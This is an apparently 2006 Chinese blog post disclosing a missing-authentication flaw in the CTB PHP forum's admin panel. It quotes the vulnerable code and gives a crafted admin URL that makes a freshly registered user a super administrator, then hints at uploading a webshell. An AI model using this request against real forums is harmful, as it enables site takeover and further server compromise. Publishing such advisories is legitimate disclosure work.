漂亮但不安全的CTB


Posted in PHP onOctober 09, 2006

>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

PHP 相关文章推荐
快速配置PHPMyAdmin方法
Jun 05 PHP
PHP UTF8中文字符截断函数代码
Sep 11 PHP
基于php验证码函数的使用示例
May 03 PHP
PHP循环输出指定目录下的所有文件和文件夹路径例子(简单实用)
May 10 PHP
ThinkPHP缓存方法S()概述
Jun 13 PHP
ThinkPHP入口文件设置及相关注意事项分析
Dec 05 PHP
微信公众平台开发之天气预报功能
Aug 31 PHP
PHP中error_reporting()用法详解
Aug 31 PHP
[原创]php求圆周率的简单实现方法
May 30 PHP
关于PHP中协程和阻塞的一些理解与思考
Aug 11 PHP
PHP 7.1中AES加解密方法mcrypt_module_open()的替换方案
Oct 17 PHP
Ajax中的JSON格式与php传输过程全面解析
Nov 14 PHP
自动跳转中英文页面
Oct 09 #PHP
随机头像PHP版
Oct 09 #PHP
1.PHP简介
Oct 09 #PHP
5.PHP的其他功能
Oct 09 #PHP
2.PHP入门
Oct 09 #PHP
4.与数据库的连接
Oct 09 #PHP
利用PHP创建动态图像
Oct 09 #PHP
You might like
关于页面优化和伪静态
2009/10/11 PHP
深入解析PHP垃圾回收机制对内存泄露的处理
2013/06/14 PHP
ThinkPHP3.1新特性之内容解析输出详解
2014/06/19 PHP
PHP扩展程序实现守护进程
2015/04/16 PHP
php生成静态html页面的方法(2种方法)
2015/09/14 PHP
WordPress网站性能优化指南
2015/11/18 PHP
PHP mongodb操作类定义与用法示例【适合mongodb2.x和mongodb3.x】
2018/06/16 PHP
PHP过滤器 filter_has_var() 函数用法实例分析
2020/04/23 PHP
javascript 动态修改css样式方法汇总(四种方法)
2015/08/27 Javascript
jQuery实现自动输入email、时间和域名的方法
2016/08/24 Javascript
JS如何判断浏览器类型和详细区分IE各版本浏览器
2017/03/04 Javascript
JS中Attr的用法详解
2017/10/09 Javascript
vue中使用localstorage来存储页面信息
2017/11/04 Javascript
vue.js项目 el-input 组件 监听回车键实现搜索功能示例
2018/08/25 Javascript
微信小程序实现简单表格
2019/02/14 Javascript
Vue 理解之白话 getter/setter详解
2019/04/16 Javascript
Vue+Django项目部署详解
2019/05/30 Javascript
vue项目中播放rtmp视频文件流的方法
2020/09/17 Javascript
[04:47]DOTA2-潍坊风行电子俱乐部探秘
2014/08/08 DOTA
python使用循环实现批量创建文件夹示例
2014/03/25 Python
Python实现的下载网页源码功能示例
2017/06/13 Python
对python中数据集划分函数StratifiedShuffleSplit的使用详解
2018/12/11 Python
python使用phoenixdb操作hbase的方法示例
2019/02/28 Python
python中tkinter的应用:修改字体的实例讲解
2019/07/17 Python
django+tornado实现实时查看远程日志的方法
2019/08/12 Python
收集的22款给力的HTML5和CSS3帮助工具
2012/09/14 HTML / CSS
英国最全面的橄榄球联盟门票网站:Live Rugby Tickets
2018/10/06 全球购物
Nice Kicks网上商店:ShopNiceKicks.com
2018/12/25 全球购物
将一个文本文件的内容按倒序打印出来
2015/01/05 面试题
面料业务员岗位职责
2013/12/26 职场文书
学雷锋志愿服务月活动总结
2014/03/09 职场文书
老干部工作先进集体事迹材料
2014/05/21 职场文书
2014年党的群众路线学习心得体会
2014/11/05 职场文书
2015年中学体育教师工作总结
2015/10/23 职场文书
甜美蛋糕店的创业计划书模板,拿来即用!
2019/08/21 职场文书
JS数组的常用方法整理
2021/03/31 Javascript